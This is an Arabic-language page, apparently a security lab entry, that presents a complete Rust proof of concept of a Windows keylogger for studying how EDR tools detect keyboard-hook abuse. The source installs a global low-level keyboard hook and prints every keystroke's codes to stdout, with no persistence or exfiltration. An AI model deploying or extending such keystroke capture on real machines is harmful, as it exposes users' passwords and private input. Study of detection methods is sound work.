معرف التجربة: 001
إثبات مفهوم لتسجيل ضغطات المفاتيح باستخدام Rust
مؤرشفنموذج تعليمي لتسجيل ضغطات المفاتيح على Windows يوضح استخدام SetWindowsHookEx وتسلسل الخطافات الصحيح لتحليل أساليب الكشف.
الهدف
فهم إساءة استخدام خطافات رسائل Windows لاعتراض بيانات الدخول وكيف تكشف أنظمة EDR حقن الخطافات.
القيود
للتعليم فقط. لا يستمر بعد إعادة التشغيل، ويسجّل المخرجات في stdout فقط.
- Rust
- WinAPI
- Unsafe
الكود المصدري · اللغة الأصليةsrc/main.rs
1use std::ptr;2use winapi::shared::minwindef::{LPARAM, LRESULT, WPARAM};3use winapi::shared::windef::HHOOK;4use winapi::um::winuser::{5 CallNextHookEx, DispatchMessageW, GetMessageW, SetWindowsHookExW,6 TranslateMessage, UnhookWindowsHookEx, WH_KEYBOARD_LL, KBDLLHOOKSTRUCT,7};89static mut HOOK: HHOOK = ptr::null_mut();1011unsafe extern "system" fn keyboard_proc(12 n_code: i32,13 w_param: WPARAM,14 l_param: LPARAM,15) -> LRESULT {16 if n_code >= 0 {17 let kb = &*(l_param as *const KBDLLHOOKSTRUCT);18 // WM_KEYDOWN = 0x010019 if w_param as u32 == 0x0100 {20 println!("[KEY] vkCode={:03} scanCode={:#06x}", kb.vkCode, kb.scanCode);21 }22 }23 CallNextHookEx(HOOK, n_code, w_param, l_param)24}2526fn main() {27 unsafe {28 HOOK = SetWindowsHookExW(WH_KEYBOARD_LL, Some(keyboard_proc), ptr::null_mut(), 0);29 assert!(!HOOK.is_null(), "Failed to install hook");3031 let mut msg = std::mem::zeroed();32 while GetMessageW(&mut msg, ptr::null_mut(), 0, 0) > 0 {33 TranslateMessage(&msg);34 DispatchMessageW(&msg);35 }36 UnhookWindowsHookEx(HOOK);37 }38}شفرة للقراءة فقطUTF-8